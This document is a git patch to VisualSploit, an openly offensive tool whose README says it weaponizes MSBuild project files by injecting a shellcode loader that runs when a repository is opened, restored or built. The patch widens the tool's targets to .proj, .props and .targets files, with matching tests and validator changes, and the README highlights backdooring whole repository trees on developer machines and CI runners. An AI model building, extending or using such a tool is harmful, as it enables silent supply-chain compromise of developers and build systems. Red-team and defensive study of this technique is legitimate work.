From 8170a5aa6a743d49ce3d8d0eb4358439ff2a3c34 Mon Sep 17 00:00:00 2001 From: Max Harari Date: Sun, 3 May 2026 23:39:44 -0400 Subject: [PATCH] feat: support more MSBuild target files --- README.md | 15 +++++++----- VisualSploit.Tests/MSBuildTests.cs | 35 +++++++++++++++++++++++++++ VisualSploit.Tests/ProgramTests.cs | 39 +++++++++++++++++++++++++++--- VisualSploit/Program.cs | 13 +++++----- 4 files changed, 85 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 94fffa4..e3fa996 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![release](https://img.shields.io/github/v/release/Meltedd/VisualSploit)](https://github.com/Meltedd/VisualSploit/releases) [![license](https://img.shields.io/github/license/Meltedd/VisualSploit)](LICENSE) -Weaponizes MSBuild project files to run embedded shellcode. Given a `.csproj`, `.vbproj`, or `Directory.Build.props/targets` and a shellcode blob, VisualSploit injects a loader that fires whenever the project is built, restored, or opened in Visual Studio. Cloning a backdoored repo and evaluating it with Visual Studio, `dotnet`, or CI can be enough to run the payload without user interaction. +Weaponizes MSBuild project files to run embedded shellcode. Given a supported MSBuild XML file (`.csproj`, `.vbproj`, `.proj`, imported `.props`/`.targets`, or `Directory.Build.props/targets`) and a shellcode blob, VisualSploit injects a loader that fires whenever MSBuild evaluates that file. Cloning a backdoored repo and evaluating it with Visual Studio, `dotnet`, or CI can be enough to run the payload without user interaction. ![demo](demo.gif) @@ -38,13 +38,16 @@ Cloned files carry no [MOTW](https://learn.microsoft.com/en-us/windows/win32/sec ## Targets -| Target file | Fires when | -|-----------------------------|-----------------------------------------------| -| `*.csproj` / `*.vbproj` | The project is opened, restored, or built | -| `Directory.Build.props` | Any project in or below its directory is opened, restored, or built | -| `Directory.Build.targets` | Any project in or below its directory is built | +| Target file | Fires when | +|-----------------------------------|-----------------------------------------------| +| `*.csproj` / `*.vbproj` | The project is opened, restored, or built | +| `*.proj` | The build file is run by MSBuild | +| `Directory.Build.props` | Any project in or below its directory is opened, restored, or built | +| `Directory.Build.targets` | Any project in or below its directory is built | +| Existing `*.props` / `*.targets` | A project or build imports the file | `Directory.Build.props` and `.targets` are imported implicitly for every project beneath them, so a single injected file at a repo root compromises the whole subtree across developer machines, CI runners, and devcontainers that evaluate MSBuild. +Other `.props` and `.targets` files must already be imported by a project or build. ## Usage diff --git a/VisualSploit.Tests/MSBuildTests.cs b/VisualSploit.Tests/MSBuildTests.cs index 396b4be..6415a64 100644 --- a/VisualSploit.Tests/MSBuildTests.cs +++ b/VisualSploit.Tests/MSBuildTests.cs @@ -86,6 +86,31 @@ public void Merges_into_existing_csproj_preserving_property_and_item_groups() Assert.Contains(root.Elements(), e => e.Name.LocalName == "Target"); } + [Theory] + [InlineData(".proj")] + [InlineData(".props")] + [InlineData(".targets")] + public void Merges_into_existing_msbuild_file_preserving_project_contents(string extension) + { + var target = Path.Combine(_dir, $"Existing{extension}"); + File.WriteAllText(target, """ + + + Value + + + """); + + Inject(Cfg(target)); + + var doc = XDocument.Load(target); + var root = doc.Root!; + + Assert.Equal("Value", root.Descendants().First(e => e.Name.LocalName == "Keep").Value); + Assert.Contains(root.Elements(), e => e.Name.LocalName == "UsingTask"); + Assert.Contains(root.Elements(), e => e.Name.LocalName == "Target"); + } + [Fact] public void Appends_generated_target_after_existing_InitialTargets() { @@ -145,6 +170,16 @@ public void Throws_when_csproj_target_does_not_exist() Assert.Throws(() => Inject(Cfg(target))); } + [Theory] + [InlineData("missing.proj")] + [InlineData("missing.props")] + [InlineData("missing.targets")] + public void Throws_when_missing_non_Directory_Build_msbuild_file_does_not_exist(string filename) + { + var target = Path.Combine(_dir, filename); + Assert.Throws(() => Inject(Cfg(target))); + } + [Fact] public void Throws_when_existing_target_root_is_not_Project() { diff --git a/VisualSploit.Tests/ProgramTests.cs b/VisualSploit.Tests/ProgramTests.cs index fa9b214..3f714d8 100644 --- a/VisualSploit.Tests/ProgramTests.cs +++ b/VisualSploit.Tests/ProgramTests.cs @@ -61,6 +61,31 @@ public void Output_includes_condition_when_configured() Assert.Contains("Condition=\"'$(Configuration)' == 'Release'\"", output); } + [Theory] + [InlineData(".proj")] + [InlineData(".props")] + [InlineData(".targets")] + public void Accepts_existing_msbuild_target_extension(string extension) + { + var output = RunWithOutputFileForTarget(extension); + + Assert.Contains(" RunWithOutputFile(shellcode: [0xC3], extraArgs); - string RunWithOutputFile(byte[] shellcode, params string[] extraArgs) + string RunWithOutputFile(byte[] shellcode, params string[] extraArgs) => + RunWithOutputFileForTarget(shellcode, ".csproj", extraArgs); + + string RunWithOutputFileForTarget(string targetExtension, params string[] extraArgs) => + RunWithOutputFileForTarget([0xC3], targetExtension, extraArgs); + + string RunWithOutputFileForTarget(byte[] shellcode, string targetExtension, params string[] extraArgs) { - var (target, shellcodePath) = WriteInputs(shellcode); + var (target, shellcodePath) = WriteInputs(shellcode, targetExtension); var output = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj"); var args = new List { target, shellcodePath, "--output", output, "-s", "42" }; @@ -89,9 +120,9 @@ string RunWithOutputFile(byte[] shellcode, params string[] extraArgs) return File.ReadAllText(output); } - (string target, string shellcodePath) WriteInputs(byte[] shellcode) + (string target, string shellcodePath) WriteInputs(byte[] shellcode, string targetExtension = ".csproj") { - var target = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj"); + var target = Path.Combine(_dir, $"{Guid.NewGuid():N}{targetExtension}"); var shellcodePath = Path.Combine(_dir, $"{Guid.NewGuid():N}.bin"); File.WriteAllText(target, """ diff --git a/VisualSploit/Program.cs b/VisualSploit/Program.cs index e263867..cc37930 100644 --- a/VisualSploit/Program.cs +++ b/VisualSploit/Program.cs @@ -8,7 +8,7 @@ internal static int Main(string[] args) { var targetArg = new Argument("target") { - Description = "Target .csproj, .vbproj, Directory.Build.props, or Directory.Build.targets" + Description = "Target .csproj, .vbproj, .proj, .props, .targets, or Directory.Build.props/targets" }; targetArg.Validators.Add(r => { @@ -156,13 +156,12 @@ Config BuildConfig(ParseResult ctx) { var ext = Path.GetExtension(filename); if (ext.Equals(".csproj", StringComparison.OrdinalIgnoreCase) || - ext.Equals(".vbproj", StringComparison.OrdinalIgnoreCase)) + ext.Equals(".vbproj", StringComparison.OrdinalIgnoreCase) || + ext.Equals(".proj", StringComparison.OrdinalIgnoreCase) || + ext.Equals(".props", StringComparison.OrdinalIgnoreCase) || + ext.Equals(".targets", StringComparison.OrdinalIgnoreCase)) return null; - if (filename.Equals("Directory.Build.props", StringComparison.OrdinalIgnoreCase) || - filename.Equals("Directory.Build.targets", StringComparison.OrdinalIgnoreCase)) - return null; - - return "Target must be one of: *.csproj, *.vbproj, Directory.Build.props, Directory.Build.targets"; + return "Target must be one of: *.csproj, *.vbproj, *.proj, *.props, *.targets, Directory.Build.props, Directory.Build.targets"; } }